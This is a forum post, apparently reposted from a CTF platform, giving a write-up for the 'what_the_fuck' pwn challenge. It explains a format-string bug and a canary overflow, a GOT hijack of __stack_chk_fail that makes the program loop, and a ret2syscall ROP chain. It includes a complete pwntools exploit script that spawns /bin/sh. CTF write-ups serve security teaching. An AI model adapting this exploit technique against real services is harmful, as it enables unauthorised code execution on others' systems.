本帖最后由 Xor0ne 于 2020-3-31 16:25 编辑
what_the_fuck
来自于:i春秋
题目内容:
nc 106.75.2.53 10005
附件下载:
Writeup
来源于:https://www.ichunqiu.com/writeup/detail/521
- ➜ workspace file what_the_fuck
- what_the_fuck: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f5874ff98d454f054743d010a0456a89f09aa535, stripped
- ➜ workspace checksec what_the_fuck
- [*] '/Users/apple/Binary/CTF/Shooting/ichun/Pwn/what_the_fuck/workspace/what_the_fuck'
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: Canary found
- NX: NX enabled
- PIE: No PIE (0x400000)
复制代码
题目开启了NX与Canary,并且在题目中在sub_4008C5存在一个format string,并且read时可以越界写到Canary,触发__stack_chk_fail。
unsigned __int64 sub_4008C5()
{
char s; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("leave a msg: ");
memset(&s, 0, 16uLL);
read(0, &s, 0x20uLL); // stack overflow leak Canary
if ( strstr(&s, "%p") || strstr(&s, "$p") )
{
puts("do you want to leak info?");
exit(0);
}
printf(&s, "$p"); // format string
return __readfsqword(0x28u) ^ v2;
}
首先需要劫持控制流,利用printf任意地址写,但是在printf函数中,程序结束....一开始想到写.fini段,但是发现不可行
于是,结合read可写Canry,我们可改写`__stack_chk_fail@`的GOT表地址为main函数地址,每次改写Canary触发check现程序循环运行
这样我们可无限利用fromat-string进行任意读写
依旧是题目没有提供libc,并且泄露lbc version不可行,只能利用ret2syscall
需要在栈中利用 Init 中的通用RopGadgets布置RopChain
- .text:0000000000400A60 mov rdx, r13
- .text:0000000000400A63 mov rsi, r14
- .text:0000000000400A66 mov edi, r15d
- .text:0000000000400A69 call qword ptr [r12+rbx*8]
- .text:0000000000400A6D add rbx, 1
- .text:0000000000400A71 cmp rbx, rbp
- .text:0000000000400A74 jnz short loc_400A60
- .text:0000000000400A76
- .text:0000000000400A76 loc_400A76: ; CODE XREF: init+36↑j
- .text:0000000000400A76 add rsp, 8
- .text:0000000000400A7A pop rbx
- .text:0000000000400A7B pop rbp
- .text:0000000000400A7C pop r12
- .text:0000000000400A7E pop r13
- .text:0000000000400A80 pop r14
- .text:0000000000400A82 pop r15
复制代码
由于每次都会触发`__stack_chk_fail`,程序堆栈 由于栈空间不断向下增长,而当sub_4008C5中不再触发check时,则会逐层返回 所以我们就利用无限写的能力在栈上布置Ropchain
在该过程中,充分利用我们可控的栈空间,即输入的$s与输入的&name,其余不可控的栈空间,我们利用format string布置即可 最终栈中的效果如下图:
泄露read地址,确定syscall地址 通过read(0,&bss,0x3b)将"/bin/sh"与syscall地址写入.bss段 通过syscall并利用read的返回值0x3b,执行`execve(“/bin/sh\x00”,NULL,NULL)
#/usr/bin/env python
from pwn import *
'''
def leak(address):
io.recvuntil('input your name: ')
sleep(0.1)
io.sendline('xing')
sleep(0.1)
# leak read_addr
payload = 'aaaa%8$s'
payload += 'bbbbbbbb'
payload += p64(address)
payload = payload.ljust(0x20,'c')
msg(payload)
io.recvuntil('aaaa')
content = io.recvuntil('bbbbbbbb',drop=True)
if(len(content) == 0):
log.info('{0} ==> NULL'.format(hex(address)))
return "\x00"
else:
log.info("%#x ==> %s" % (address,(content or '').encode('hex')))
return content
'''
def msg(payload):
io.recvuntil('leave a msg: ')
io.send(payload)
def cycle(number):
if number>20:
return number
else:
number = number+0x100
return number
def exploit():
io.recvuntil('input your name: ')
io.sendline(p64(elf.got['__stack_chk_fail']))
# Hijack _stack_chk_fail => main
#gdb.attach(io, 'b *0x400963')
payload = "%"+str(0x983)+'c%12$hn'+'AA%9$s'
payload = payload.ljust(0x18,'c')
payload += p64(elf.got['read'])
#trigger _stack_chk_fail to ROP
msg(payload)
io.recvuntil('AA')
read = u64(io.recvuntil('\x7f').ljust(0x8,"\x00"))
log.info('read_addr:'+hex(read))
syscall = read+0xe
log.info('syscall:'+hex(syscall))
#d = DynELF(leak,elf=ELF('./what_the_fuck'))
#system_addr = d.lookup('system','libc')
#log.info('system_addr:'+hex(system_addr))
io.recvuntil('input your name: ')
io.sendline('xing')
payload = 'A'*10+'%10$ldCC'
payload = payload.ljust(0x20,'B')
msg(payload)
io.recvuntil('A'*10)
stack_addr = int(io.recvuntil('CC',drop=True),10)
log.info('stack_addr:'+hex(stack_addr))
io.recvuntil('input your name: ')
io.sendline('xingxing')
payload = p64(0)+p64(0x6010A0)+p64(0x400a60)
payload += 'A'*0x8
msg(payload)
io.recvuntil('input your name: ')
io.sendline(p64(0x400a60))
payload = p64(0)+p64(1)+p64(elf.got['read'])+p64(0x3B)
msg(payload)
bss_addr = 0x6010A0
temp = stack_addr-0xf0
log.info('modify {0} ==> {1}'.format(hex(temp),hex(bss_addr)))
for i in range(8):
io.recvuntil('input your name: ')
io.sendline('xing')
payload = '%'+str(cycle((bss_addr>>(8*i))&0xff))+'c%9$hhn'
payload = payload.ljust(0x18,'A')
payload += p64(temp+i)
msg(payload)
temp = stack_addr-0xe8
log.info('modify {0} ==> {1}'.format(hex(temp),hex(0)))
for i in range(8):
io.recvuntil('input your name: ')
io.sendline('xing')
payload = '%'+str(cycle(0))+'c%9$hhn'
payload = payload.ljust(0x18,'A')
payload += p64(temp+i)
msg(payload)
temp = stack_addr-0xd0
log.info('modify {0} ==> {1}'.format(hex(temp),hex(0)))
for i in range(8):
io.recvuntil('input your name: ')
io.sendline('xing')
payload = '%'+str(cycle(0))+'c%9$hhn'
payload = payload.ljust(0x18,'A')
payload += p64(temp+i)
msg(payload)
temp = stack_addr-0xb8-0x60
address = 0x400A7A
log.info('modify {0} ==> {1}'.format(hex(temp),hex(address)))
for i in range(8):
io.recvuntil('input your name: ')
io.sendline('xing')
payload = '%'+str(cycle((address>>(8*i))&0xff))+'c%9$hhn'
payload = payload.ljust(0x18,'A')
payload += p64(temp+i)
msg(payload)
syscall_addr = 0x6010A8
temp = stack_addr-0xc0
log.info('modify {0} ==> {1}'.format(hex(temp),hex(syscall_addr)))
for i in range(8):
io.recvuntil('input your name: ')
io.sendline('xing')
payload = '%'+str(cycle((syscall_addr>>(8*i))&0xff))+'c%9$hhn'
payload = payload.ljust(0x18,'A')
payload += p64(temp+i)
msg(payload)
temp = stack_addr-0xb8
log.info('modify {0} ==> {1}'.format(hex(temp),hex(0)))
for i in range(8):
io.recvuntil('input your name: ')
io.sendline('xing')
payload = '%'+str(cycle(0))+'c%9$hhn'
payload = payload.ljust(0x18,'A')
payload += p64(temp+i)
msg(payload)
io.recvuntil('input your name: ')
io.sendline('xing')
msg('ROP')
io.recvuntil('ROP')
raw_input('Go?')
payload = "/bin/sh\x00"+p64(syscall)
payload = payload.ljust(0x3b,'a')
io.send(payload)
io.interactive()
if __name__ == '__main__':
context.binary = './what_the_fuck'
#context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']
elf = ELF('./what_the_fuck')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
exploit()
else:
io = process('./what_the_fuck')
exploit()
|